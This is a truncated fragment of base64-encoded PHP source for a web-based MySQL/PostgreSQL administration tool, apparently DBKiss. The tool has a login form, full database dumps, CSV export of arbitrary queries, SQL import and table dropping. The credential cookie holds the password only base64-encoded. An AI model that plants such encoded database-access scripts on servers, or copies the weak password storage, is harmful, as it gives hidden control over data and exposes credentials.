hhcnNldDEpOw0KJGNoYXJzZXQyID0gY2hhcnNldF9hc3NvYygkY2hhcnNldDIpOw0KDQokZHJpdmVyX2FyciA9IGFycmF5KCdteXNxbCcsICdwZ3NxbCcpOw0KJGRyaXZlcl9hcnIgPSBhcnJheV9hc3NvYygkZHJpdmVyX2Fycik7DQoNCmZ1bmN0aW9uIGFycmF5X2Fzc29jKCRhKQ0Kew0KCSRyZXQgPSBhcnJheSgpOw0KCWZvcmVhY2ggKCRhIGFzICR2KSB7DQoJCSRyZXRbJHZdID0gJHY7DQoJfQ0KCXJldHVybiAkcmV0Ow0KfQ0KZnVuY3Rpb24gY2hhcnNldF9hc3NvYygkYXJyKQ0Kew0KCXNvcnQoJGFycik7DQoJJHJldCA9IGFycmF5KCk7DQoJZm9yZWFjaCAoJGFyciBhcyAkdikgew0KCQlpZiAoISR2KSB7IGNvbnRpbnVlOyB9DQoJCSR2ID0gc3RydG9sb3dlcigkdik7DQoJCSRyZXRbJHZdID0gJHY7DQoJfQ0KCXJldHVybiAkcmV0Ow0KfQ0KDQoNCmlmIChpc3NldCgkX0dFVFsnZGlzY29ubmVjdCddKSAmJiAkX0dFVFsnZGlzY29ubmVjdCddKQ0Kew0KCWNvb2tpZV9kZWwoJ2RiX3Bhc3MnKTsNCgloZWFkZXIoJ0xvY2F0aW9uOiAnLiRfU0VSVkVSWydQSFBfU0VMRiddKTsNCglleGl0Ow0KfQ0KDQppZiAoISRkYl9wYXNzIHx8ICghJGRiX2RyaXZlciB8fCAhJGRiX3NlcnZlciB8fCAhJGRiX25hbWUgfHwgISRkYl91c2VyKSkNCnsNCgkkb3JpZ2luYWxfdXJsID0gcG9zdCgnb3JpZ2luYWxfdXJsJyk7DQoJaWYgKCEkb3JpZ2luYWxfdXJsKSB7DQoJCSRvcmlnaW5hbF91cmwgPSAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsNCgl9DQoNCglpZiAoJ1BPU1QnID09ICRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddKQ0KCXsNCgkJJGRiX2RyaXZlciA9IHBvc3QoJ2RiX2RyaXZlcicpOw0KCQkkZGJfc2VydmVyID0gcG9zdCgnZGJfc2VydmVyJyk7DQoJCSRkYl9uYW1lID0gcG9zdCgnZGJfbmFtZScpOw0KCQkkZGJfdXNlciA9IHBvc3QoJ2RiX3VzZXInKTsNCgkJJGRiX3Bhc3MgPSBwb3N0KCdkYl9wYXNzJyk7DQoJCSRkYl9jaGFyc2V0ID0gcG9zdCgnZGJfY2hhcnNldCcpOw0KCQkkcGFnZV9jaGFyc2V0ID0gcG9zdCgncGFnZV9jaGFyc2V0Jyk7DQoNCgkJaWYgKCRkYl9kcml2ZXIgJiYgJGRiX3NlcnZlciAmJiAkZGJfbmFtZSAmJiAkZGJfdXNlcikNCgkJew0KCQkJJGRiX3Rlc3QgPSB0cnVlOw0KCQkJZGJfY29ubmVjdCgkZGJfc2VydmVyLCAkZGJfbmFtZSwgJGRiX3VzZXIsICRkYl9wYXNzKTsNCgkJCWlmIChpc19yZXNvdXJjZSgkZGJfbGluaykpDQoJCQl7DQoJCQkJJHRpbWUgPSBwb3N0KCdyZW1lbWJlcicpID8gQ09PS0lFX1dFRUsgOiBDT09LSUVfU0VTUzsNCgkJCQljb29raWVfc2V0KCdkYl9kcml2ZXInLCAkZGJfZHJpdmVyLCAkdGltZSk7DQoJCQkJY29va2llX3NldCgnZGJfc2VydmVyJywgJGRiX3NlcnZlciwgJHRpbWUpOw0KCQkJCWNvb2tpZV9zZXQoJ2RiX25hbWUnLCAkZGJfbmFtZSwgJHRpbWUpOw0KCQkJCWNvb2tpZV9zZXQoJ2RiX3VzZXInLCAkZGJfdXNlciwgJHRpbWUpOw0KCQkJCWNvb2tpZV9zZXQoJ2RiX3Bhc3MnLCBiYXNlNjRfZW5jb2RlKCRkYl9wYXNzKSwgJHRpbWUpOw0KCQkJCWNvb2tpZV9zZXQoJ2RiX2NoYXJzZXQnLCAkZGJfY2hhcnNldCwgJHRpbWUpOw0KCQkJCWNvb2tpZV9zZXQoJ3BhZ2VfY2hhcnNldCcsICRwYWdlX2NoYXJzZXQsICR0aW1lKTsNCgkJCQljb29raWVfc2V0KCdyZW1lbWJlcicsIHBvc3QoJ3JlbWVtYmVyJyksICR0aW1lKTsNCgkJCQkkcmVkaXJlY3RfdG8gPSAkX1NFUlZFUlsnUEhQX1NFTEYnXTsNCgkJCQlpZiAoJG9yaWdpbmFsX3VybCkgew0KCQkJCQkkcmVkaXJlY3RfdG8gPSAkb3JpZ2luYWxfdXJsOw0KCQkJCX0NCgkJCQloZWFkZXIoJ0xvY2F0aW9uOiAnLiRyZWRpcmVjdF90byk7DQoJCQkJZXhpdDsNCgkJCX0NCgkJfQ0KCX0NCgllbHNlDQoJew0KCQkkX1BPU1RbJ2RiX2RyaXZlciddID0gJGRiX2RyaXZlcjsNCgkJJF9QT1NUWydkYl9zZXJ2ZXInXSA9ICRkYl9zZXJ2ZXIgPyAkZGJfc2VydmVyIDogJ2xvY2FsaG9zdCc7DQoJCSRfUE9TVFsnZGJfbmFtZSddID0gJGRiX25hbWU7DQoJCSRfUE9TVFsnZGJfdXNlciddID0gJGRiX3VzZXI7DQoJCSRfUE9TVFsnZGJfY2hhcnNldCddID0gJGRiX2NoYXJzZXQ7DQoJCSRfUE9TVFsncGFnZV9jaGFyc2V0J10gPSAkcGFnZV9jaGFyc2V0Ow0KCQkkX1BPU1RbJ2RiX2RyaXZlciddID0gJGRiX2RyaXZlcjsNCgl9DQoJPz4NCg0KCQk8IURPQ1RZUEUgSFRNTCBQVUJMSUMgIi0vL1czQy8vRFREIEhUTUwgNC4wMSBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIvaHRtbDQvbG9vc2UuZHRkIj4NCgkJPGh0bWw+DQoJCTxoZWFkPg0KCQkJPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9aXNvLTg4NTktMSI+DQoJCQk8dGl0bGU+Q29ubmVjdDwvdGl0bGU+DQoJCQk8bGluayByZWw9InNob3J0Y3V0IGljb24iIGhyZWY9Ijw/cGhwIGVjaG8gJF9TRVJWRVJbJ1BIUF9TRUxGJ107ID8+P2Ria2lzc19mYXZpY29uPTEiPg0KCQk8L2hlYWQ+DQoJCTxib2R5Pg0KDQoJCTw/cGhwIGxheW91dCgpOyA/Pg0KDQoJCTxoMT5Db25uZWN0PC9oMT4NCg0KCQk8P3BocCBpZiAoaXNzZXQoJGRiX3Rlc3QpICYmIGlzX3N0cmluZygkZGJfdGVzdCkpOiA/Pg0KCQkJPGRpdiBzdHlsZT0iYmFja2dyb3VuZDogI2ZmZmZkNzsgcGFkZGluZzogMC41ZW07IGJvcmRlcjogI2NjYyAxcHggc29saWQ7IG1hcmdpbi1ib3R0b206IDFlbTsiPg0KCQkJCTxzcGFuIHN0eWxlPSJjb2xvcjogcmVkOyBmb250LXdlaWdodDogYm9sZDsiPkVycm9yOjwvc3Bhbj4mbmJzcDsNCgkJCQk8P3BocCBlY2hvICRkYl90ZXN0Oz8+DQoJCQk8L2Rpdj4NCgkJPD9waHAgZW5kaWY7ID8+DQoNCgkJPGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+IiBtZXRob2Q9InBvc3QiPg0KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcmlnaW5hbF91cmwiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJG9yaWdpbmFsX3VybCk7ID8+Ij4NCgkJPHRhYmxlIGNsYXNzPSJscyBsczIiIGNlbGxzcGFjaW5nPSIxIj4NCgkJPHRyPg0KCQkJPHRoPkRyaXZlcjo8L3RoPg0KCQkJPHRkPjxzZWxlY3QgbmFtZT0iZGJfZHJpdmVyIj48P3BocCBlY2hvIG9wdGlvbnMoJGRyaXZlcl9hcnIsIHBvc3QoJ2RiX2RyaXZlcicpKTs/Pjwvc2VsZWN0PjwvdGQ+DQoJCTwvdHI+DQoJCTx0cj4NCgkJCTx0aD5TZXJ2ZXI6PC90aD4NCgkJCTx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGJfc2VydmVyIiB2YWx1ZT0iPD9waHAgZWNobyBwb3N0KCdkYl9zZXJ2ZXInKTs/PiI+PC90ZD4NCgkJPC90cj4NCgkJPHRyPg0KCQkJPHRoPkRhdGFiYXNlOjwvdGg+DQoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRiX25hbWUiIHZhbHVlPSI8P3BocCBlY2hvIHBvc3QoJ2RiX25hbWUnKTs/PiI+PC90ZD4NCgkJPC90cj4NCgkJPHRyPg0KCQkJPHRoPlVzZXI6PC90aD4NCgkJCTx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGJfdXNlciIgdmFsdWU9Ijw/cGhwIGVjaG8gcG9zdCgnZGJfdXNlcicpOz8+Ij48L3RkPg0KCQk8L3RyPg0KCQk8dHI+DQoJCQk8dGg+UGFzc3dvcmQ6PC90aD4NCgkJCTx0ZD48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9ImRiX3Bhc3MiIHZhbHVlPSIiPjwvdGQ+DQoJCTwvdHI+DQoJCTx0cj4NCgkJCTx0aD5EYiBjaGFyc2V0OjwvdGg+DQoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRiX2NoYXJzZXQiIHZhbHVlPSI8P3BocCBlY2hvIHBvc3QoJ2RiX2NoYXJzZXQnKTs/PiIgc2l6ZT0iMTAiPiAob3B0aW9uYWwpPC90ZD4NCgkJPC90cj4NCgkJPHRyPg0KCQkJPHRoPlBhZ2UgY2hhcnNldDo8L3RoPg0KCQkJPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwYWdlX2NoYXJzZXQiIHZhbHVlPSI8P3BocCBlY2hvIHBvc3QoJ3BhZ2VfY2hhcnNldCcpOz8+IiBzaXplPSIxMCI+IChvcHRpb25hbCk8L3RkPg0KCQk8L3RyPg0KCQk8dHI+DQoJCQk8dGQgY29sc3Bhbj0iMiIgY2xhc3M9Im5vbmUiIHN0eWxlPSJwYWRkaW5nOiAwOyBiYWNrZ3JvdW5kOiBub25lOyBwYWRkaW5nLXRvcDogMC4zZW07Ij4NCgkJCQk8dGFibGUgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj48dHI+PHRkPg0KCQkJCTxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0icmVtZW1iZXIiIGlkPSJyZW1lbWJlciIgdmFsdWU9IjEiIDw/cGhwIGVjaG8gY2hlY2tlZChwb3N0KCdyZW1lbWJlcicpKTs/Pj48L3RkPjx0ZD4NCgkJCQk8bGFiZWwgZm9yPSJyZW1lbWJlciI+cmVtZW1iZXIgbWUgb24gdGhpcyBjb21wdXRlcjwvbGFiZWw+PC90ZD48L3RyPjwvdGFibGU+DQoJCQk8L3RkPg0KCQk8L3RyPg0KCQk8dHI+DQoJCQk8dGQgY2xhc3M9Im5vbmUiIGNvbHNwYW49IjIiIHN0eWxlPSJwYWRkaW5nLXRvcDogMC40ZW07Ij48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ29ubmVjdCI+PC90ZD4NCgkJPC90cj4NCgkJPC90YWJsZT4NCgkJPC9mb3JtPg0KDQoJCTw/cGhwIHBvd2VyZWRfYnkoKTsgPz4NCg0KCQk8L2JvZHk+DQoJCTwvaHRtbD4NCg0KCTw/cGhwDQoNCglleGl0Ow0KfQ0KDQpkYl9jb25uZWN0KCRkYl9zZXJ2ZXIsICRkYl9uYW1lLCAkZGJfdXNlciwgJGRiX3Bhc3MpOw0KDQppZiAoJGRiX2NoYXJzZXQgJiYgJ215c3FsJyA9PSAkZGJfZHJpdmVyKSB7DQoJZGJfZXhlKCJTRVQgTkFNRVMgJGRiX2NoYXJzZXQiKTsNCn0NCg0KaWYgKGlzc2V0KCRfR0VUWydkdW1wX2FsbCddKSAmJiAxID09ICRfR0VUWydkdW1wX2FsbCddKQ0Kew0KCWR1bXBfYWxsKCRkYXRhID0gZmFsc2UpOw0KfQ0KaWYgKGlzc2V0KCRfR0VUWydkdW1wX2FsbCddKSAmJiAyID09ICRfR0VUWydkdW1wX2FsbCddKQ0Kew0KCWR1bXBfYWxsKCRkYXRhID0gdHJ1ZSk7DQp9DQppZiAoaXNzZXQoJF9HRVRbJ2R1bXBfdGFibGUnXSkgJiYgJF9HRVRbJ2R1bXBfdGFibGUnXSkNCnsNCglkdW1wX3RhYmxlKCRfR0VUWydkdW1wX3RhYmxlJ10pOw0KfQ0KaWYgKGlzc2V0KCRfR0VUWydleHBvcnQnXSkgJiYgJ2NzdicgPT0gJF9HRVRbJ2V4cG9ydCddKQ0Kew0KCWV4cG9ydF9jc3YoYmFzZTY0X2RlY29kZSgkX0dFVFsncXVlcnknXSksICAkX0dFVFsnc2VwYXJhdG9yJ10pOw0KfQ0KaWYgKGlzc2V0KCRfUE9TVFsnc3FsZmlsZSddKSAmJiAkX1BPU1RbJ3NxbGZpbGUnXSkNCnsNCgkkZmlsZXMgPSBzcWxfZmlsZXNfYXNzb2MoKTsNCglpZiAoIWlzc2V0KCRmaWxlc1skX1BPU1RbJ3NxbGZpbGUnXV0pKSB7DQoJCWV4aXQoJ0ZpbGUgbm90IGZvdW5kLiBtZDUgPSAnLiRfUE9TVFsnc3FsZmlsZSddKTsNCgl9DQoJJHNxbGZpbGUgPSAkZmlsZXNbJF9QT1NUWydzcWxmaWxlJ11dOw0KCWxheW91dCgpOw0KCWVjaG8gJzxkaXY+SW1wb3J0aW5nOiA8Yj4nLiRzcWxmaWxlLic8L2I+ICgnLnNpemUoZmlsZXNpemUoJHNxbGZpbGUpKS4nKTwvZGl2Pic7DQoJZWNobyAnPGRpdj5EYXRhYmFzZTogPGI+Jy4kZGJfbmFtZS4nPC9iPjwvZGl2Pic7DQoJZmx1c2goKTsNCglpbXBvcnQoJHNxbGZpbGUsIHBvc3QoJ2lnbm9yZV9lcnJvcnMnKSwgcG9zdCgndHJhbnNhY3Rpb24nKSwgcG9zdCgnZm9yY2VfbXlpc2FtJyksIHBvc3QoJ3F1ZXJ5X3N0YXJ0JywnaW50JykpOw0KCWV4aXQ7DQp9DQppZiAoaXNzZXQoJF9QT1NUWydkcm9wX3RhYmxlJ10pICYmICRfUE9TVFsnZHJvcF90YWJsZSddKQ0Kew0KCSRkcm9wX3RhYmxlX2VucSA9IHF1b3RlX3RhYmxlKCRfUE9TVFsnZHJvcF90YWJsZSddKTsNCglkYl9leGUoJ0RST1AgVEFCTEUgJy4kZHJvcF90YWJsZV9lbnEpOw0KCWhlYWRlcignTG9jYXRpb246ICcuJF9TRVJWRVJbJ1BIUF9TRUxGJ10pOw0KCWV4aXQ7DQp9DQppZiAoaXNzZXQoJF9QT1NUWydkcm9wX3ZpZXcnXSkgJiYgJF9QT1NUWydkcm9wX3ZpZXcnXSkNCnsNCgkkZHJvcF92aWV3X2VucSA9IHF1b3RlX3RhYmxlKCRfUE9TVFsnZHJvcF92aWV3J10pOw0KCWRiX2V4ZSgnRFJPUCBWSUVXICcuJGRyb3Bfdmlld19lbnEpOw0KCWhlYWRlcignTG9jYXRpb246ICcuJF9TRVJWRVJbJ1BIUF9TRUxGJ10pOw0KCWV4aXQ7DQp9DQpmdW5jdGlvbiBkYl9jb25uZWN0KCRkYl9zZXJ2ZXIsICRkYl9uYW1lLCAkZGJfdXNlciwgJGRiX3Bhc3MpDQp7DQoJZ2xvYmFsICRkYl9kcml2ZXIsICRkYl9saW5rLCAkZGJfdGVzdDsNCglpZiAoIWV4dGVuc2lvbl9sb2FkZWQoJGRiX2RyaXZlcikpIHsNCgkJdHJpZ2dlcl9lcnJvcigkZGJfZHJpdmVyLicgZXh0ZW5zaW9uIG5vdCBsb2FkZWQnLCBFX1VTRVJfRVJST1IpOw0KCX0NCglpZiAoJ215c3FsJyA9PSAkZGJfZHJpdmVyKQ0KCXsNCgkJJGRiX2xpbmsgPSBAbXlzcWxfY29ubmVjdCgkZGJfc2VydmVyLCAkZGJfdXNlciwgJGRiX3Bhc3MpOw0KCQlpZiAoIWlzX3Jlc291cmNlKCRkYl9saW5rKSkgew0KCQkJaWYgKCRkYl90ZXN0KSB7DQoJCQkJJGRiX3Rlc3QgPSAnbXlzcWxfY29ubmVjdCgpIGZhaWxlZDogJy5kYl9lcnJvcigpOw0KCQkJCXJldHVybjsNCgkJCX0gZWxzZSB7DQoJCQkJY29va2llX2RlbCgnZGJfcGFzcycpOw0KCQkJCWNvb2tpZV9kZWwoJ2RiX25hbWUnKTsNCgkJCQlkaWUoJ215c3FsX2Nvbm5lY3QoKSBmYWlsZWQ6ICcuZGJfZXJyb3IoKSk7DQoJCQl9DQoJCX0NCgkJaWYgKCFAbXlzcWxfc2VsZWN0X2RiKCRkYl9uYW1lLCAkZGJfbGluaykpIHsNCgkJCSRlcnJvciA9IGRiX2Vycm9yKCk7DQoJCQlkYl9jbG9zZSgpOw0KCQkJaWYgKCRkYl90ZXN0KSB7DQoJCQkJJGRiX3Rlc3QgPSAnbXlzcWxfc2VsZWN0X2RiKCkgZmFpbGVkOiAnLiRlcnJvcjsNCgkJCQlyZXR1cm47DQoJCQl9IGVsc2Ugew0KCQkJCWNvb2tpZV9kZWwoJ2RiX3Bhc3MnKTsNCgkJCQljb29raWVfZGVsKCdkYl9uYW1lJyk7DQoJCQkJZGllKCdteXNxbF9zZWxlY3RfZGIoKSBmYWlsZWQ6ICcuJGVycm9yKTsNCgkJCX0NCgkJfQ0KCX0NCglpZiAoJ3Bnc3FsJyA9PSAkZGJfZHJpdmVyKQ0KCXsNCgkJJGNvbm4gPSBzcHJpbnRmKCJob3N0PSclcycgZGJuYW1lPSclcycgdXNlcj0nJXMnIHBhc3N3b3JkPSclcyciLCAkZGJfc2VydmVyLCAkZGJfbmFtZSwgJGRiX3VzZXIsICRkYl9wYXNzKTsNCgkJJGRiX2xpbmsgPSBAcGdfY29ubmVjdCgkY29ubik7DQoJCWlmICghaXNfcmVzb3VyY2UoJGRiX2xpbmspKSB7DQoJCQlpZiAoJGRiX3Rlc3QpIHsNCgkJCQkkZGJfdGVzdCA9ICdwZ19jb25uZWN0KCkgZmFpbGVkOiAnLmRiX2Vycm9yKCk7DQoJCQkJcmV0dXJuOw0KCQkJfSBlbHNlIHsNCgkJCQljb29raWVfZGVsKCdkYl9wYXNzJyk7DQoJCQkJY29va2llX2RlbCgnZGJfbmFtZScpOw0KCQkJCWRpZSgncGdfY29ubmVjdCgpIGZhaWxlZDogJy5kYl9lcnJvcigpKTsNCgkJCX0NCgkJfQ0KCX0NCglyZWdpc3Rlcl9zaHV0ZG93bl9mdW5jdGlvbignZGJfY2xlYW51cCcpOw0KfQ0KZnVuY3Rpb24gZGJfY2xlYW51cCgpDQp7DQoJZGJfY2xvc2UoKTsNCn0NCmZ1bmN0aW9uIGRiX2Nsb3NlKCkNCnsNCglnbG9iYWwgJGRiX2RyaXZlciwgJGRiX2xpbms7DQoJaWYgKGlzX3Jlc291cmNlKCRkYl9saW5rKSkgew0KCQlpZiAoJ215c3FsJyA9PSAkZGJfZHJpdmVyKSB7DQoJCQlteXNxbF9jbG9zZSgkZGJfbGluayk7DQoJCX0NCgkJaWYgKCdwZ3NxbCcgPT0gJGRiX2RyaXZlcikgew0KCQkJcGdfY2xvc2UoJGRiX2xpbmspOw0KCQl9DQoJfQ0KfQ0KZnVuY3Rpb24gZGJfcXVlcnkoJHF1ZXJ5LCAkZGF0ID0gZmFsc2UpDQp7DQoJZ2xvYmFsICRkYl9kcml2ZXIsICRkYl9saW5rOw0KCSRxdWVyeSA9IGRiX2JpbmQoJHF1ZXJ5LCAkZGF0KTsNCglpZiAoIWRiX2lzX3NhZmUoJHF1ZXJ5KSkgew0KCQlyZXR1cm4gZmFsc2U7DQoJfQ0KCWlmICgnbXlzcWwnID09ICRkYl9kcml2ZXIpDQoJew0KCQkkcnMgPSBteXNxbF9xdWVyeSgkcXVlcnksICRkYl9saW5rKTsNCgkJaWYgKCEkcnMpIHsNCgkJCXRyaWdnZXJfZXJyb3IoIm15c3FsX3F1ZXJ5KCkgZmFpbGVkOiAkcXVlcnkuPGJyPkVycm9yOiAiLmRiX2Vycm9yKCksIEVfVVNFUl9FUlJPUik7DQoJCX0NCgkJcmV0dXJuICRyczsNCgl9DQoJaWYgKCdwZ3NxbCcgPT0gJGRiX2RyaXZlcikNCgl7DQoJCSRycyA9IHBnX3F1ZXJ5KCRkYl9saW5rLCAkcXVlcnkpOw0KCQlpZiAoISRycykgew0KCQkJdHJpZ2dlcl9lcnJvcigicGdfcXVlcnkoKSBmYWlsZWQ6ICRxdWVyeS48YnI+RXJyb3I6ICIuZGJfZXJyb3IoKSwgRV9VU0VSX0VSUk9SKTsNCgkJfQ0KCQlyZXR1cm4gJHJzOw0KCX0NCn0NCmZ1bmN0aW9uIGRiX2lzX3NhZmUoJHEsICRyZXQgPSBmYWxzZSkNCnsNCgkvLyBjdXJyZW50bHkgb25seSBjaGVja3MgVVBEQVRFJ3MvREVMRVRFJ3MgaWYgV0hFUkUgY29uZGl0aW9uIGlzIG5vdCBtaXNzaW5nDQoJJHVwZCA9ICd1cGRhdGUnOw0KCSRkZWwgPSAnZGVsZXRlJzsNCg0KCSRxID0gbHRyaW0oJHEpOw0KCWlmIChzdHJ0b2xvd2VyKHN1YnN0cigkcSwgMCwgc3RybGVuKCR1cGQpKSkgPT0gJHVwZA0KCQl8fCBzdHJ0b2xvd2VyKHN1YnN0cigkcSwgMCwgc3RybGVuKCRkZWwpKSkgPT0gJGRlbCkgew0KCQlpZiAoIXByZWdfbWF0Y2goJyNcc3doZXJlXHMjaScsICRxKSkgew0KCQkJaWYgKCRyZXQpIHsNCgkJCQlyZXR1cm4gZmFsc2U7DQoJCQl9IGVsc2Ugew0KCQkJCXRyaWdnZXJfZXJyb3Ioc3ByaW50ZignZGJfaXNfc2FmZSgpIGZhaWxlZC4gRGV0ZWN0ZWQgVVBEQVRFL0RFTEVURSB3aXRob3V0IFdIRVJFIGNvbmRpdGlvbi4gUXVlcnk6ICVzLicsICRxKSwgRV9VU0VSX0VSUk9SKTsNCgkJCQlyZXR1cm4gZmFsc2U7DQoJCQl9DQoJCX0NCgl9DQoNCglyZXR1cm4gdHJ1ZTsNCn0NCmZ1bmN0aW9uIGRiX2V4ZSgkcXVlcnksICRkYXQgPSBmYWxzZSkNCnsNCgkkcnMgPSBkYl9xdWVyeSgkcXVlcnksICRkYXQpOw0KCWRiX2ZyZWUoJHJzKTsNCn0NCmZ1bmN0aW9uIGRiX29uZSgkcXVlcnksICRkYXQgPSBmYWxzZSkNCnsNCgkkcm93ID0gZGJfcm93X251bSgkcXVlcnksICRkYXQpOw0KCWlmICgkcm93KSB7DQoJCXJldHVybiAkcm93WzBdOw0KCX0gZWxzZSB7DQoJCXJldHVybiBmYWxzZTsNCgl9DQp9DQpmdW5jdGlvbiBkYl9yb3coJHF1ZXJ5LCAkZGF0ID0gZmFsc2UpDQp7DQoJZ2xvYmFsICRkYl9kcml2ZXIsICRkYl9saW5rOw0KCWlmICgnbXlzcWwnID09ICRkYl9kcml2ZXIpDQoJew0KCQlpZiAoaXNfcmVzb3VyY2UoJHF1ZXJ5KSkgew0KCQkJJHJzID0gJHF1ZXJ5Ow0KCQkJcmV0dXJuIG15c3FsX2ZldGNoX2Fzc29jKCRycyk7DQoJCX0gZWxzZSB7DQoJCQkkcXVlcnkgPSBkYl9saW1pdCgkcXVlcnksIDAsIDEpOw0KCQkJJHJzID0gZGJfcXVlcnkoJHF1ZXJ5LCAkZGF0KTsNCgkJCSRyb3cgPSBteXNxbF9mZXRjaF9hc3NvYygkcnMpOw0KCQkJZGJfZnJlZSgkcnMpOw0KCQkJaWYgKCRyb3cpIHsNCgkJCQlyZXR1cm4gJHJvdzsNCgkJCX0NCgkJfQ0KCQlyZXR1cm4gZmFsc2U7DQoJfQ0KCWlmICgncGdzcWwnID09ICRkYl9kcml2ZXIpDQoJew0KCQlpZiAoaXNfcmVzb3VyY2UoJHF1ZXJ5KSB8fCBpc19vYmplY3QoJHF1ZXJ5KSkgew0KCQkJJHJzID0gJHF1ZXJ5Ow0KCQkJcmV0dXJuIHBnX2ZldGNoX2Fzc29jKCRycyk7DQoJCX0gZWxzZSB7DQoJCQkkcXVlcnkgPSBkYl9saW1pdCgkcXVlcnksIDAsIDEpOw0KCQkJJHJzID0gZGJfcXVlcnkoJHF1ZXJ5LCAkZGF0KTsNCgkJCSRyb3cgPSBwZ19mZXRjaF9hc3NvYygkcnMpOw0KCQkJZGJfZnJlZSgkcnMpOw0KCQkJaWYgKCRyb3cpIHsNCgkJCQlyZXR1cm4gJHJvdzsNCgkJCX0NCgkJfQ0KCQlyZXR1cm4gZmFsc2U7DQoJfQ0KfQ0KZnVuY3Rpb24gZGJfcm93X251bSgkcXVlcnksICRkYXQgPSBmYWxzZSkNCnsNCglnbG9iYWwgJGRiX2RyaXZlciwgJGRiX2xpbms7DQoJaWYgKCdteXNxbCcgPT0gJGRiX2RyaXZlcikNCgl7DQoJCWlmIChpc19yZXNvdXJjZSgkcXVlcnkpKSB7DQoJCQkkcnMgPSAkcXVlcnk7DQoJCQlyZXR1cm4gbXlzcWxfZmV0Y2hfcm93KCRycyk7DQoJCX0gZWxzZSB7DQoJCQkkcnMgPSBkYl9xdWVyeSgkcXVlcnksICRkYXQpOw0KCQkJaWYgKCEkcnMpIHsNCgkJCQkvKg0KCQkJCWVjaG8gJzxwcmU+JzsNCgkJCQlwcmludF9yKCRycyk7DQoJCQkJZWNobyAiXHJcbiI7DQoJCQkJcHJpbnRfcigkcXVlcnkpOw0KCQkJCWVjaG8gIlxyXG4iOw0KCQkJCXByaW50X3IoJGRhdCk7DQoJCQkJZXhpdDsNCgkJCQkqLw0KCQkJfQ0KCQkJJHJvdyA9IG15c3FsX2ZldGNoX3JvdygkcnMpOw0KCQkJZGJfZnJlZSgkcnMpOw0KCQkJaWYgKCRyb3cpIHsNCgkJCQlyZXR1cm4gJHJvdzsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCX0NCglpZiAoJ3Bnc3FsJyA9PSAkZGJfZHJpdmVyKQ0KCXsNCgkJaWYgKGlzX3Jlc291cmNlKCRxdWVyeSkgfHwgaXNfb2JqZWN0KCRxdWVyeSkpIHsNCgkJCSRycyA9ICRxdWVyeTsNCgkJCXJldHVybiBwZ19mZXRjaF9yb3coJHJzKTsNCgkJfSBlbHNlIHsNCgkJCSRycyA9IGRiX3F1ZXJ5KCRxdWVyeSwgJGRhdCk7DQoJCQkkcm93ID0gcGdfZmV0Y2hfcm93KCRycyk7DQoJCQlkYl9mcmVlKCRycyk7DQoJCQlpZiAoJHJvdykgew0KCQkJCXJldHVybiAkcm93Ow0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJfQ0KfQ0KZnVuY3Rpb24gZGJfbGlzdCgkcXVlcnkpDQp7DQoJZ2xvYmFsICRkYl9kcml2ZXIsICRkYl9saW5rOw0KCSRycyA9IGRiX3F1ZXJ5KCRxdWVyeSk7DQoJJHJldCA9IGFycmF5KCk7DQoJaWYgKCdteXNxbCcgPT0gJGRiX2RyaXZlcikgew0KCQl3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2Fzc29jKCRycykpIHsNCgkJCSRyZXRbXSA9ICRyb3c7DQoJCX0NCgl9DQoJaWYgKCdwZ3NxbCcgPT0gJGRiX2RyaXZlcikgew0KCQl3aGlsZSAoJHJvdyA9IHBnX2ZldGNoX2Fzc29jKCRycykpIHsNCgkJCSRyZXRbXSA9ICRyb3c7DQoJCX0NCgl9DQoJZGJfZnJlZSgkcnMpOw0KCXJldHVybiAkcmV0Ow0KfQ0KZnVuY3Rpb24gZGJfYXNzb2MoJHF1ZXJ5KQ0Kew0KCWdsb2JhbCAkZGJfZHJpdmVyLCAkZGJfbGluazsNCgkkcnMgPSBkYl9xdWVyeSgkcXVlcnkpOw0KCSRyb3dzID0gYXJyYXkoKTsNCgkkbnVtID0gZGJfcm93X251bSgkcnMpOw0KCWlmICghaXNfYXJyYXkoJG51bSkpIHsNCgkJcmV0dXJuIGFycmF5KCk7DQoJfQ0KCWlmICghYXJyYXlfa2V5X2V4aXN0cygwLCAkbnVtKSkgew0KCQlyZXR1cm4gYXJyYXkoKTsNCgl9DQoJaWYgKDEgPT0gY291bnQoJG51bSkpIHsNCgkJJHJvd3NbXSA9ICRudW1bMF07DQoJCXdoaWxlICgkbnVtID0gZGJfcm93X251bSgkcnMpKSB7DQoJCQkkcm93c1tdID0gJG51bVswXTsNCgkJfQ0KCQlyZXR1cm4gJHJvd3M7DQoJfQ0KCWlmICgnbXlzcWwnID09ICRkYl9kcml2ZXIpDQoJew0KCQlteXNxbF9kYXRhX3NlZWsoJHJzLCAwKTsNCgl9DQoJaWYgKCdwZ3NxbCcgPT0gJGRiX2RyaXZlcikNCgl7DQoJCXBnX3Jlc3VsdF9zZWVrKCRycywgMCk7DQoJfQ0KCSRyb3cgPSBkYl9yb3coJHJzKTsNCglpZiAoIWlzX2FycmF5KCRyb3cpKSB7DQoJCXJldHVybiBhcnJheSgpOw0KCX0NCglpZiAoY291bnQoJG51bSkgPCAyKSB7DQoJCXRyaWdnZXJfZXJyb3Ioc3ByaW50ZignZGJfYXNzb2MoKSBmYWlsZWQuIFR3byBmaWV